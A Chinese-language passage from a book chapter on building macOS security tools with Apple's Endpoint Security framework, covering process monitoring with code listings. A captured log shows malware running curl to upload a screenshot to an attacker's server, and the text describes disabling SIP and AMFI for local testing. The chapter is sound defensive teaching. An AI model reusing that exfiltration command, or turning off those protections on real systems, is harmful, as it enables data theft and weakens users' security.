Mac 恶意软件的艺术:终端安全

191 阅读33分钟

如果你已经读到这里,可能会得出一个结论:为 macOS 编写安全工具是一项极具挑战的工作,这很大程度上是因为苹果自身的限制。例如,如果你想捕获远程进程的内存,那几乎是不可能的;而且正如你在第5章看到的,枚举所有持久安装项是可行的,但需要逆向一个专有且无文档的数据库。

但我并非来批评苹果,正如本章将展示的那样,苹果响应了我们的呼声,推出了 Endpoint Security。该框架首次出现在 macOS 10.15(Catalina)中,是苹果专门设计给第三方开发者用来构建高级用户态安全工具的框架,比如专注于恶意软件检测的工具。Endpoint Security 的重要性和强大难以言喻,因此我特意用两整章篇幅来介绍它。

本章将概述该框架,并讨论如何使用其 API 执行监控文件和进程事件等操作。下一章将关注更高级的话题,比如静音(muting)和授权事件。在第三部分,我将演示如何基于 Endpoint Security 构建多个工具。

本章及下一章的大部分代码片段直接来自 ESPlayground 项目,位于本书 GitHub 仓库(github.com/Objective-s…)的第8章文件夹中。该项目包含完整代码,如果你打算构建自己的 Endpoint Security 工具,强烈推荐从这里开始。

Endpoint Security 工作流程

Endpoint Security 允许你创建一个程序(在苹果术语中称为客户端),并注册(订阅)感兴趣的事件。每当系统中发生这些事件时,Endpoint Security 会将消息发送给你的程序。它还可以阻止事件的执行,直到你的工具授权它们。

举例来说,假设你想在每次新进程启动时收到通知,以确保它不是恶意软件。使用 Endpoint Security,你可以指定是仅仅接收通知,还是在你检查并授权之前,系统暂停进程启动。

Objective-See 的许多工具正是以这种方式使用 Endpoint Security。例如,BlockBlock 利用它来监控持久文件事件,阻止未公证的进程和脚本。图8-1展示了 BlockBlock 阻止利用零日漏洞(CVE-2021-30657)绕过 macOS 代码签名和公证检查的恶意软件。

为了防止恶意攻击者滥用 Endpoint Security 的强大权限,macOS 要求所有使用该框架的工具满足多项要求。其中最显著的是必须获得苹果颁发的稀有权限 com.apple.developer.endpoint-security.client。在本书第三部分,我将详细讲解如何向苹果申请该权限,以及一旦获得后如何生成并应用配置文件,从而将你的工具部署到其他 macOS 系统。

image.png

目前,如本书前言所述,关闭系统完整性保护(SIP)和 Apple 移动文件完整性(AMFI)可让你在本地开发和测试利用 Endpoint Security 的工具。你仍需添加客户端权限(entitlement),但关闭这两项 macOS 安全机制后,可以自行赋予该权限。在 ESPlayground 项目中,你可以在 ESPlayground.entitlements 文件里找到所需的 Endpoint Security 客户端权限(见清单 8-1)。

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>com.apple.developer.endpoint-security.client</key>
    <true/>
</dict>
</plist>

清单 8-1:指定所需客户端权限

“代码签名权限(Code Signing Entitlements)”构建设置会引用此文件,因此在编译时,它会被添加到项目的应用包中。因此,在关闭 SIP 和 AMFI 的系统上,订阅并接收 Endpoint Security 事件会成功。

如果你设计一个利用 Endpoint Security 的工具,通常会执行以下四步:

  1. 声明感兴趣的事件。
  2. 创建一个新的客户端和回调处理块。
  3. 订阅这些事件。
  4. 处理发送到回调块的事件。

接下来我们逐步了解这些步骤,先从理解感兴趣的事件开始。

感兴趣的事件

你可以在 ESTypes.h 头文件中找到 Endpoint Security 事件列表。如果你安装了 Xcode,该文件和其他 Endpoint Security 头文件位于其 SDK 目录:

/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/EndpointSecurity

虽然苹果官方开发者文档有时不完整,但头文件 ESClient.hESMessage.hEndpointSecurity.hESTypes.h 注释详尽,建议将它们视为 Endpoint Security 权威信息来源。

ESTypes.h 中,你会看到 es_event_type_t 枚举列出了所有事件类型:

/**
 * EndpointSecurity 支持的有效事件类型
 *
 ...
 *
*/
typedef enum {
  // 以下事件自 macOS 10.15 起可用。
  ES_EVENT_TYPE_AUTH_EXEC,
  ES_EVENT_TYPE_AUTH_OPEN,
  ES_EVENT_TYPE_AUTH_KEXTLOAD,
  ...
  ES_EVENT_TYPE_NOTIFY_EXEC,
  ...
  ES_EVENT_TYPE_NOTIFY_EXIT,
  ...
  // 以下事件自 macOS 13.0 起可用。
  ES_EVENT_TYPE_NOTIFY_AUTHENTICATION,
  ES_EVENT_TYPE_NOTIFY_XP_MALWARE_DETECTED,
  ES_EVENT_TYPE_NOTIFY_XP_MALWARE_REMEDIATED,
  ...
  ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD,
  ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE,
  // 以下事件自 macOS 14.0 起可用。
  ...
  ES_EVENT_TYPE_NOTIFY_XPC_CONNECT,
  // 以下事件自 macOS 15.0 起可用。
  ES_EVENT_TYPE_NOTIFY_GATEKEEPER_USER_OVERRIDE,
  ...
  ES_EVENT_TYPE_LAST
} es_event_type_t;

我们可以做几点观察。首先,如注释所示,不是所有事件在所有 macOS 版本都可用。比如有关 XProtect 恶意软件检测或持久化项添加的事件只从 macOS 13 开始出现。

其次,尽管头文件和苹果开发者文档未直接说明各事件的具体含义,事件名能让你大致了解其用途。例如,若你想被动监控进程执行事件,应订阅 ES_EVENT_TYPE_NOTIFY_EXEC。每种事件类型都对应一个事件结构体,如 es_event_exec_t,框架头文件对此有详细说明。

最后,事件名大致分为两类:ES_EVENT_TYPE_AUTH_*ES_EVENT_TYPE_NOTIFY_*。授权事件多来源于内核态,送达 Endpoint Security 客户端时进入挂起状态,需客户端显式授权或拒绝。例如,若只允许公证进程运行,可先注册 ES_EVENT_TYPE_AUTH_EXEC 事件,检查每个事件,授权仅那些代表启动公证进程的事件。授权事件将在下一章详细讲解。通知事件来源于用户态,表示事件已发生。若你开发被动监控工具(如进程监控器),就订阅这类事件。

macOS 自带工具 eslogger(位于 /usr/bin)可直接在终端捕获并输出 Endpoint Security 通知,便于探索该子系统。

比如,你想构建进程监控器,应订阅哪些事件以获得进程信息?ES_EVENT_TYPE_NOTIFY_EXEC 是一个不错的选择。我们用 eslogger 验证下:

以 root 权限在终端运行 eslogger 并指定事件名。该工具使用简短的事件名,可用 --list-events 列出:

# eslogger --list-events
access
authentication
...
exec
...

查看进程执行事件,传入 exec

# eslogger exec

开始捕获执行事件后,试运行命令如 say "Hello World"。工具会输出详尽的事件信息²。输出示例如下(根据系统和 macOS 版本略有差异):

# eslogger exec
{
    "event_type": 9,
    "event": {
        "exec": {
            "script": null,
            "target": {
                "signing_id": "com.apple.say",
                "executable": {
                    "path": "/usr/bin/say",
                    "ppid": 1152,
                    ...
                    "is_platform_binary": true,
                    "audit_token": {
                        ...
                    },
                    "original_ppid": 1152,
                    "cdhash": "6C92E006B491C58B62F0C66E2D880CE5FE015573",
                    "team_id": null
                },
                "image_cpusubtype": -2147483646,
                "image_cputype": 16777228,
                "args": ["say", "Hello", "World"],
                ...
            }
        }
    }
}

如你所见,Endpoint Security 不仅提供了新执行进程的路径和进程 ID 等基础信息,还包括代码签名信息、参数、父进程 ID 等。利用 Endpoint Security 可大幅简化安全工具的开发,无需自己生成大量事件相关信息。

客户端、处理块与事件处理

现在你可能想知道如何订阅事件,并以编程方式处理事件中的信息。例如,如何从进程通知事件 ES_EVENT_TYPE_NOTIFY_EXEC 中提取进程路径或参数?首先,你必须创建一个 Endpoint Security 客户端。

要创建新客户端,进程可以调用 Endpoint Security 函数 es_new_client,它接受一个回调处理块(handler block)和一个指向 es_client_t 的输出指针,Endpoint Security 会用新客户端初始化该指针。函数返回类型是 es_new_client_result_t,如果调用成功,会返回 ES_NEW_CLIENT_RESULT_SUCCESS。否则,可能返回以下错误(详见 ESClient.h):

  • ES_NEW_CLIENT_RESULT_ERR_NOT_ENTITLED:调用者没有 com.apple.developer.endpoint-security.client 权限。
  • ES_NEW_CLIENT_RESULT_ERR_NOT_PERMITTED:调用者未获用户的 TCC 授权,无法连接 Endpoint Security 子系统。
  • ES_NEW_CLIENT_RESULT_ERR_NOT_PRIVILEGED:调用者没有以 root 权限运行。

头文件对这些错误及修复建议有详细说明。

订阅事件后,框架会自动调用传给 es_new_client 的回调处理块,对每个事件进行处理。调用时,框架会传入一个指向客户端的指针和一个 es_message_t 结构体,后者包含被传递事件的详细信息。ESMessage.h 文件定义了此消息类型:

typedef struct {
    uint32_t version;
    struct timespec time;
    uint64_t mach_time;
    uint64_t deadline;
    es_process_t* _Nonnull process;
    uint64_t seq_num; /* 仅消息版本>=2时存在 */
    es_action_type_t action_type;
    union {
        es_event_id_t auth;
        es_result_t notify;
    } action;
    es_event_type_t event_type;
    es_events_t event;
    es_thread_t* _Nullable thread; /* 仅消息版本>=4时存在 */
    uint64_t global_seq_num;       /* 仅消息版本>=4时存在 */
    uint64_t opaque[];             /* 不应直接访问的私有数据 */
} es_message_t;

你可以查阅头文件了解各成员的简要说明,或运行 eslogger 查看每个事件的完整结构。这里介绍几个重要成员:

  • version:结构版本号,不同版本可能包含不同字段。例如,进程的 CPU 类型(image_cputype)仅在版本6及以上可用。
  • 各类时间戳和截止时间(deadline),deadline 在第9章授权事件中非常重要。
  • es_process_t 结构描述触发事件的进程。稍后会详细介绍此结构,但目前只需知道它包含进程的审计令牌、代码签名信息、路径等。
  • event_type:事件类型,如 ES_EVENT_TYPE_NOTIFY_EXEC,因客户端通常订阅多种事件,识别当前事件类型非常重要。比如进程监控器可用 switch 语句处理(见清单 8-2)。
switch(message->event_type) {
    case ES_EVENT_TYPE_NOTIFY_EXEC:
        // 处理 exec 事件
        break;
    case ES_EVENT_TYPE_NOTIFY_FORK:
        // 处理 fork 事件
        break;
    case ES_EVENT_TYPE_NOTIFY_EXIT:
        // 处理 exit 事件
        break;
    default:
        break;
}

清单 8-2:处理多种消息类型

es_message_t 中事件类型特定数据为 es_events_t,这是一个大联合体(union),定义在 ESMessage.h 中,对应各类 Endpoint Security 事件。例如,联合体中有 es_event_exec_t,对应 ES_EVENT_TYPE_NOTIFY_EXEC。该结构定义如下:

/**
 * @brief 执行新进程
 * @field target 正在执行的新进程
 * @field script 解释器执行的脚本
 ...
 */
typedef struct {
    es_process_t* _Nonnull target;
    es_string_token_t dyld_exec_path; /* 仅消息版本>=7存在 */
    union {
        uint8_t reserved[64];
        struct {
            es_file_t* _Nullable script; /* 版本>=2存在 */
            es_file_t* _Nonnull cwd;     /* 版本>=3存在 */
            int last_fd;                 /* 版本>=4存在 */
            cpu_type_t image_cputype;    /* 版本>=6存在 */
            cpu_subtype_t image_cpusubtype; /* 版本>=6存在 */
        };
    };
} es_event_exec_t;

详细成员说明见头文件注释。最重要的是 target 成员,它指向 es_process_t 结构,代表新执行的进程。我们来看 es_process_t 结构:

/**
 * @brief 进程相关信息,用于描述进程(如 exec 事件中新进程)
 *
 * @field audit_token 进程审计令牌
 * @field ppid 父进程 ID
 ...
 * @field signing_id 代码签名标识符
 * @field team_id 签名团队 ID
 * @field executable 进程执行的可执行文件
 ...
 */
typedef struct {
    audit_token_t audit_token;
    pid_t ppid;
    pid_t original_ppid;
    pid_t group_id;
    pid_t session_id;
    uint32_t codesigning_flags;
    bool is_platform_binary;
    bool is_es_client;
    uint8_t cdhash[20];
    es_string_token_t signing_id;
    es_string_token_t team_id;
    es_file_t* _Nonnull executable;
    es_file_t* _Nullable tty;
    struct timeval start_time;
    audit_token_t responsible_audit_token;
    audit_token_t parent_audit_token;
} es_process_t;

头文件中有详细注释,重点关注:

  • 审计令牌(audit_tokenresponsible_audit_tokenparent_audit_token
  • 代码签名信息(signing_idteam_id
  • 可执行文件(executable

前面章节讲过构建进程层级树的难点。Endpoint Security 子系统提供了新进程的直接父进程和责任进程的审计令牌,方便准确构建新进程的进程树,es_process_t 结构中已包含相关信息,无需手动构建。

es_process_t 中的可执行文件成员

executable 是指向 es_file_t 结构的指针,该结构提供磁盘上文件的路径等信息,示例如下:

/**
 * @brief es_file_t 提供文件的状态信息和路径
 *
 * @field path 文件绝对路径
 * @field path_truncated 路径是否被截断
 ...
 */
typedef struct {
    es_string_token_t path;
    bool path_truncated;
    struct stat stat;
} es_file_t;

要获取实际路径,还需理解 es_string_token_t,Endpoint Security 用它存储字符串(如文件路径)。该结构定义如下:

/**
 * @brief 字符串处理结构体
 */
typedef struct {
    size_t length;
    const char* data;
} es_string_token_t;

length 是字符串长度(相当于 strlen 返回值),但 data 不保证以 NULL 结尾,所以不应直接用 strlen。打印此结构体时,应使用 C 格式化字符串 %.*s,第一个参数为最大字符数,第二个为字符指针(见清单 8-3)。

es_string_token_t* responsibleProcessPath = &message->process->executable->path;
printf("responsible process: %.*s\n",
(int)responsibleProcessPath->length, responsibleProcessPath->data);

es_string_token_t* newProcessPath = &message->event.exec.target->executable->path;
printf("new process: %.*s\n", (int)newProcessPath->length, newProcessPath->data);

清单 8-3:打印 es_process_t 结构体中 es_string_token_t 成员

代码先提取触发事件的进程路径字符串 token,再用上述格式打印路径。记住,ES_EVENT_TYPE_NOTIFY_EXEC 事件中,新进程的描述结构位于消息事件结构体的 exec.target 成员。代码访问该结构体并打印新进程路径。

你可能不仅仅想打印事件信息。例如,对所有新进程,可能要提取路径存入数组,或传给函数检测是否公证。为此,通常需将字符串 token 转换为更友好的对象,如 NSString。清单 8-4 展示一行代码完成转换:

NSString* string = [[NSString alloc] initWithBytes:stringToken->data length:stringToken->length encoding:NSUTF8StringEncoding];

清单 8-4:将 es_string_token_t 转换为 NSString

代码利用 NSStringinitWithBytes:length:encoding: 方法,传入字符串 token 的数据和长度,以及 UTF-8 编码。

开始接收事件

订阅事件即可开始接收!拿到 Endpoint Security 客户端后,调用 es_subscribe API。它需要客户端对象、事件数组和订阅事件数,这里包括进程执行和退出事件(见清单 8-5)。

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    // 在此处理接收到的事件
});

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); ❶

清单 8-5:订阅事件

注意,这里计算事件数量而非硬编码 ❶。es_subscribe 无错误返回后,Endpoint Security 子系统将异步发送匹配事件,调用创建客户端时指定的处理块。

创建进程监控器

让我们将所学知识应用起来,创建一个依赖 Endpoint Security 的进程监控器。我们首先订阅诸如 ES_EVENT_TYPE_NOTIFY_EXEC 的进程事件,然后在接收事件时解析相关的进程信息。

注意
这里只提供相关代码片段,完整代码可在 ESPlayground 项目的 monitor.m 文件中找到。你还可以在 Objective-See 的 GitHub 仓库 github.com/objective-s… 中找到基于 Endpoint Security 的开源、生产级进程监控器。

我们先指定感兴趣的 Endpoint Security 事件。对于一个简单的进程监控器,仅订阅 ES_EVENT_TYPE_NOTIFY_EXEC 即可。但这里我们还注册了 ES_EVENT_TYPE_NOTIFY_EXIT 事件,用于跟踪进程退出。将这两个事件类型放入数组(见清单 8-6),创建客户端后订阅这些事件。

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

清单 8-6:简单进程监控器感兴趣的事件

清单 8-7 展示如何通过 es_new_client API 创建客户端。

es_client_t* client = NULL;
es_new_client_result_t result =
es_new_client(&client, ^(es_client_t* client, const es_message_t* message) { ❶
    // 这里添加处理接收事件的代码
});

if(ES_NEW_CLIENT_RESULT_SUCCESS != result) { ❷
    // 这里添加错误处理代码
}

清单 8-7:创建新的 Endpoint Security 客户端

调用 es_new_client 创建新客户端实例 ❶,此处暂未实现处理块。假设调用成功,即获得初始化的客户端。代码检查调用结果是否为 ES_NEW_CLIENT_RESULT_SUCCESS 以确认成功 ❷。回想下,如果你的项目没有足够权限、终端未授予完全磁盘访问权限,或者代码未以 root 权限运行,es_new_client 会调用失败。

订阅事件

拿到客户端后,调用 es_subscribe API 订阅进程执行和退出事件(见清单 8-8)。

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

// 省略了调用 es_new_client 的代码

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); ❶

清单 8-8:订阅感兴趣的进程事件

注意这里计算事件数量而非硬编码 ❶。es_subscribe 返回后,Endpoint Security 子系统将异步发送匹配事件,并调用创建客户端时指定的处理块。

提取进程对象

最后一步是处理传递过来的事件。前面提到,处理块被调用时传入两个参数:事件客户端(es_client_t 类型)和事件消息指针(es_message_t 类型)。非授权事件中,客户端对象没直接用处,但消息中包含了事件详细信息。

我们首先提取指向 es_process_t 结构的指针,结构中包含新生成的进程或刚退出进程的信息。具体提取哪个结构体取决于事件类型。对于退出(及大部分其他)事件,提取消息中的 process 成员,即触发事件的进程指针。对于进程执行事件,我们更关注刚生成的进程,因此使用 es_event_exec_t 结构,其 target 成员指向相关的 es_process_t 结构(见清单 8-9)。

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    es_process_t* process = NULL;
    ❶ u_int32_t event = message->event_type;
    ❷ switch(event) {
        ❸ case ES_EVENT_TYPE_NOTIFY_EXEC:
            process = message->event.exec.target;
            ...
            break;

        ❹ case ES_EVENT_TYPE_NOTIFY_EXIT:
            process = message->process;
            ...
            break;
    }
    ...
});

清单 8-9:提取相关进程

代码先从消息中获取事件类型 ❶,然后用 switch 语句判断 ❷,并提取对应的 es_process_t 指针。对于执行事件,从 es_event_exec_t 结构提取新生成进程 ❸;对于退出事件,直接从消息提取进程指针 ❹。

提取进程信息

既然我们已有指向 es_process_t 结构的指针,就可以提取进程的审计令牌、PID、路径和代码签名信息。对于新生成的进程,还能提取其参数;对于已退出的进程,可以提取其退出码。

审计令牌

先简单地提取进程的审计令牌(见清单 8-10)。

NSData* auditToken = [NSData dataWithBytes:&process->audit_token length:sizeof(audit_token_t)];

清单 8-10:提取审计令牌

审计令牌是 es_process_t 结构的首字段,类型为 audit_token_t。你可以直接使用此值,或者如示例中所示,提取为 NSData 对象。回想下,审计令牌允许你唯一且安全地识别该进程,并能提取进程的其他信息,比如进程 ID。清单 8-11 演示如何调用 audit_token_to_pid 函数将审计令牌转换为进程 ID。

pid_t pid = audit_token_to_pid(process->audit_token);

清单 8-11:将审计令牌转换为进程 ID

你还可以通过 audit_token_to_euid 函数从审计令牌中提取进程的有效用户 ID(eUID)。

注意:调用这些函数需导入 bsm/libbsm.h 头文件,并链接 libbsm 库。

进程路径

清单 8-12 演示如何通过 es_process_t 结构中的 executable 指针提取进程路径。executable 指向 es_file_t 结构,其 path 字段包含进程路径。

NSString* path = [[NSString alloc] initWithBytes:process->executable->path.data
                                         length:process->executable->path.length
                                       encoding:NSUTF8StringEncoding];

清单 8-12:提取进程路径

由于该字段类型为 es_string_token_t,我们需要将其转换成更易处理的字符串对象。

进程层级结构

使用 es_process_t 结构还简化了构建进程层级树。我们可以从该结构提取父进程 ID。不过,ESMessage.h 头文件的注释建议使用 parent_audit_token 字段(仅 Endpoint Security 版本4及以上支持)。同样版本的消息还提供名为 responsible_audit_token 的字段,表示责任进程的审计令牌。清单 8-13 演示了如何在版本合适时提取这些信息。

pid_t ppid = process->ppid; ❶

if(message->version >= 4) {
    NSData* parentToken = [NSData dataWithBytes:&process->parent_audit_token
                                        length:sizeof(audit_token_t)]; ❷

    NSData* responsibleToken = [NSData dataWithBytes:&process->responsible_audit_token
                                              length:sizeof(audit_token_t)]; ❸
}

清单 8-13:提取父进程和责任进程审计令牌

我们提取父进程 PID ❶,以及新版本 Endpoint Security 支持的父审计令牌 ❷ 和责任审计令牌 ❸,用于构建准确的进程层级结构。

脚本路径

回想 es_event_exec_t 结构描述了 ES_EVENT_TYPE_NOTIFY_EXEC 事件。迄今我们主要关注该结构首字段——指向 es_process_t 的指针,但结构中其他字段对进程监控器也很有用,尤其在启发式检测恶意软件时。

比如,当执行的进程是脚本解释器时,用户执行脚本时操作系统会自动找到合适的解释器并调用它。此时,Endpoint Security 报告执行的进程是脚本解释器,并显示其路径(如 /usr/bin/python3)。但我们更关心解释器正在执行的脚本路径。

幸运的是,Endpoint Security 版本2及以上,在 es_event_exec_t 结构的 script 字段中提供了脚本路径。如果新进程不是脚本解释器,该字段为 NULL。且如果脚本作为解释器的参数执行(例如 python3 <script 路径>),该字段不会设置,但脚本路径会作为进程的第一个参数出现。

清单 8-14 演示如何通过 script 字段提取脚本路径。

❶ if(message->version >= 2) {
    es_string_token_t* token = &message->event.exec.script->path;
    ❷ if(NULL != token) {
        NSString* script = [[NSString alloc] initWithBytes:token->data
                                                  length:token->length
                                                encoding:NSUTF8StringEncoding];
    }
}

清单 8-14:提取脚本路径

我们确认仅在支持的 Endpoint Security 版本中尝试提取 ❶,且确保 script 字段非空 ❷。

如果你直接执行 Python 脚本,ESPlayground 的进程监控代码会报告 Python 作为新进程,并附带脚本路径:

# ESPlayground.app/Contents/MacOS/ESPlayground -monitor

ES Playground
Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC
(new) process
    pid: 10267
    path: /usr/bin/python3
    script: /Users/User/Malware/Realst/installer.py
    ...

这个例子捕获了 Realst 恶意软件,其包含名为 installer.py 的脚本。现在我们可以检查该脚本,发现其中包含窃取数据并允许攻击者访问用户加密钱包的恶意代码。

二进制架构

Endpoint Security 在 es_event_exec_t 结构中还提供了进程的架构信息。在第2章中,我介绍了如何以编程方式判断任意运行进程的架构,方便的是 Endpoint Security 子系统也能直接提供。

要访问新启动进程的二进制架构,可以提取 image_cputype 字段(如果感兴趣,还可以提取 image_cpusubtype),如清单 8-15 所示。该信息仅在 Endpoint Security 版本6及以上可用,所以代码首先检查版本兼容性。

if(message->version >= 6) {
   cpu_type_t cpuType = message->event.exec.image_cputype;
}

清单 8-15:提取进程架构

该代码返回的值可能是 0x100000C0x1000007,参考苹果的 mach/machine.h 头文件,这些分别映射为 CPU_TYPE_ARM64(苹果硅)和 CPU_TYPE_X86_64(英特尔)。

代码签名

在第3章,你学过如何利用较为古老的 Sec* API 手动提取代码签名信息。为简化此操作,Endpoint Security 会在它传递的每条消息中报告触发事件的责任进程的代码签名信息。某些事件也包含其他进程的代码签名信息。例如,ES_EVENT_TYPE_NOTIFY_EXEC 事件包含新启动进程的代码签名信息。

你可以在进程的 es_process_t 结构中找到以下代码签名字段:

  • uint32_t codesigning_flags —— 进程的代码签名标志
  • bool is_platform_binary —— 是否为平台二进制
  • uint8_t cdhash[20] —— 签名的代码目录哈希
  • es_string_token_t signing_id —— 签名 ID
  • es_string_token_t team_id —— 团队 ID

来看这些字段,先从 codesigning_flags 开始。该字段的值定义在苹果的 cs_blobs.h 头文件中。清单 8-16 展示如何从 es_process_t 结构提取代码签名标志,并检查几个常见的标志。因其为位域,代码用逻辑与(&)操作符检测具体标志。

// Process 是 es_process_t*

#import <kernel/kern/cs_blobs.h>

uint32_t csFlags = process->codesigning_flags;

if(CS_VALID & csFlags) {
    // 处理动态有效签名的进程
}
if(CS_SIGNED & csFlags) {
    // 处理签名的进程
}
if(CS_ADHOC & csFlags) {
    // 处理临时签名的进程
}
...

清单 8-16:提取进程代码签名标志

提取并检查代码签名标志可以帮你识别用临时签名(ad hoc)的进程,即不受信任的进程。著名的 3CX 供应链攻击的第二阶段 payload 就使用了临时签名。

es_process_t 中,还有 is_platform_binary 字段,这是个布尔值,标记是否为 macOS 平台二进制(仅由苹果证书签名)。值得注意的是,非系统预装的苹果应用(如 Xcode)该字段为 false。同时,codesigning_flags 中通常不会设置 CS_PLATFORM_BINARY 标志,因此应通过此字段判断。

警告
如果你关闭了 AMFI,Endpoint Security 可能会将所有进程(包括第三方和潜在恶意进程)都标记为平台二进制。因此,在关闭 AMFI 的机器上做测试时,基于 is_platform_binary 字段做的任何判断很可能不准确。

我之前提过,理论上可以安全忽略平台二进制,因为它们是操作系统的一部分。但实际上并非如此。你可能还要考虑“活用平台二进制”(LOLBins),即攻击者滥用的系统二进制来执行恶意操作。例如,Python 就能运行恶意脚本(如之前 Realst 恶意软件所示)。其他 LOLBins 更隐蔽,比如内置的 whois 工具可能被恶意软件用来隐蔽地窃取网络流量,若主机安全工具天真地允许平台二进制的所有流量,就会出现安全隐患。

给定指向 es_process_t 结构的指针,你可以轻松提取 is_platform_binary 字段。清单 8-17 将其转换成对象,方便存储或处理。

// Process 是 es_process_t*

NSNumber* isPlatformBinary = [NSNumber numberWithBool:process->is_platform_binary];

清单 8-17:提取进程的平台二进制状态

你的代码可能用不上 cdhash 字段,但清单 8-18 展示了如何提取并转换它,使用了苹果 cs_blobs.h 中的 CS_CDHASH_LEN 常量。

// Process 是 es_process_t*

NSData* cdHash = [NSData dataWithBytes:(const void *)process->cdhash
                                length:sizeof(uint8_t)*CS_CDHASH_LEN];

清单 8-18:提取进程代码签名哈希

接下来是 signing_idteam_id,它们是字符串 token,如第3章所述,这些字段能告诉你进程是谁签名的及其所属团队,有助于减少误报或识别关联恶意软件。因为它们都是 es_string_token_t 类型,你可能也想转成更易用的对象(清单 8-19)。

// Process 是 es_process_t*

NSString* signingID = [[NSString alloc] initWithBytes:process->signing_id.data
                                             length:process->signing_id.length
                                           encoding:NSUTF8StringEncoding];

NSString* teamID = [[NSString alloc] initWithBytes:process->team_id.data
                                          length:process->team_id.length
                                        encoding:NSUTF8StringEncoding];

清单 8-19:提取进程的签名和团队 ID

在 ESPlayground 的进程监控逻辑中加入以上代码后,我们运行前文提到的 3CX 供应链攻击用的第二阶段 payload UpdateAgent。明显看到它使用了临时证书(CS_ADHOC),这通常是危险信号:

# ESPlayground.app/Contents/MacOS/ESPlayground -monitor

ES Playground
Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC
(new) process
  pid: 10815
  path: /Users/User/Malware/3CX/UpdateAgent
  ...
  code signing flags: 0x22000007
  code signing flag 'CS_VALID' is set
  code signing flag 'CS_SIGNED' is set
  code signing flag 'CS_ADHOC' is set

借助 Endpoint Security 提供的代码签名信息,我们距离完成进程监控逻辑已不远。

参数

让我们从消息特有的内容开始讲起,先说 ES_EVENT_TYPE_NOTIFY_EXEC 消息中的进程参数。在第1章中,我讨论过进程参数对于检测恶意代码的价值,并展示了如何从运行中的进程中以编程方式提取它们。如果你订阅了类型为 ES_EVENT_TYPE_NOTIFY_EXEC 的 Endpoint Security 事件,会发现 Endpoint Security 已经帮你完成了大部分工作。

这些事件是 es_event_exec_t 结构体,你可以用两个 Endpoint Security 辅助 API:es_exec_arg_countes_exec_arg,来提取触发该事件的参数(见清单 8-20)。

NSMutableArray* arguments = [NSMutableArray array];

const es_event_exec_t* exec = &message->event.exec;

❶ for(uint32_t i = 0; i < es_exec_arg_count(exec); i++) {
  ❷ es_string_token_t token = es_exec_arg(exec, i);
  ❸ NSString* argument = [[NSString alloc] initWithBytes:token.data
    length:token.length encoding:NSUTF8StringEncoding];[arguments addObject:argument];
}

清单 8-20:提取进程参数

代码先初始化一个数组用以存储参数,然后调用 es_exec_arg_count 得到参数数量 ❶。我们在 for 循环条件中调用此函数以确保调用次数正确。接着调用 es_exec_arg 获取指定索引的参数 ❷。因为参数存储在 es_string_token_t 结构中,代码将其转换为 NSString 对象 ❸ 并添加到数组中 ❹。

将这段代码加入 ESPlayground 项目后,我们即可观察到进程参数,例如 WindTape 恶意软件执行 curl 命令将录屏数据上传到攻击者的控制服务器:

# ESPlayground.app/Contents/MacOS/ESPlayground -monitor

ES Playground
Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC
(new) process
 pid: 18802
 path: /usr/bin/curl
 ...
 arguments : (
  "/usr/bin/curl",
  "http://string2me.com/xnrftGrNZlVYWrkrqSoGzvKgUGpN/zgrcJOQKgrpkMLZcu.php",
  "-F",
  "qwe=@/Users/User/Library/lsd.app/Contents/Resources/14-06 06:28:07.jpg",
  "-F",
  "rest=BBA441FE-7BBB-43C6-9178-851218CFD268",
  "-F",
  "fsbd=Users-Mac.local-User"
)

你也可以使用类似的函数 es_exec_env_countes_exec_env 来从 es_event_exec_t 结构中提取进程的环境变量。

退出状态

当进程退出时,由于我们订阅了 ES_EVENT_TYPE_NOTIFY_EXIT 事件,会收到 Endpoint Security 发送的消息。了解进程何时退出有以下用处:

  • 判断进程成功或失败
    进程的退出码能反映其执行是否成功。例如,若进程是恶意安装器,这条信息有助于评估其影响。
  • 执行必要的清理工作
    许多安全工具会监控进程生命周期内的活动。比如勒索软件检测器可能监视新进程,检测那些快速创建加密文件的进程。进程退出时,检测器可清理已跟踪的文件列表和缓存。

ES_EVENT_TYPE_NOTIFY_EXIT 事件的结构类型为 es_event_exit_t。查阅 ESMessage.h,该结构仅含有一个非保留字段 stat,表示进程退出状态:

typedef struct {
    int stat;
    uint8_t reserved[64];
} es_event_exit_t;

我们据此提取进程的退出码,见清单 8-21。

case ES_EVENT_TYPE_NOTIFY_EXIT: {
  ❷ int status = message->event.exit.stat;
    ...
}

清单 8-21:提取退出码

因进程监控逻辑同时订阅了进程执行事件(ES_EVENT_TYPE_NOTIFY_EXEC),代码先确认当前事件是进程退出事件 ❶,然后提取退出码 ❷。

停止客户端

在某些时候,你可能想停止你的 Endpoint Security 客户端。这非常简单,只需调用 es_unsubscribe_all 函数取消订阅所有事件,然后调用 es_delete_client 函数删除客户端。清单 8-22 显示这两个函数都以之前通过 es_new_client 创建的客户端作为参数。

es_client_t* client = // 之前通过 es_new_client 创建的客户端
...
es_unsubscribe_all(client);
es_delete_client(client);

清单 8-22:停止 Endpoint Security 客户端

有关这些函数的更多细节,请查阅 ESClient.h 头文件。例如,es_delete_client 应该仅从创建客户端的同一线程中调用。

至此,我们完成了关于创建能够追踪进程执行与退出的进程监控器的讨论,同时也涵盖了如何提取每个事件中的信息,进而用于多种启发式规则。当然,你还可以注册许多其他 Endpoint Security 事件。接下来,我们将探讨文件事件,这些事件构成了文件监控器的基础。

文件监控

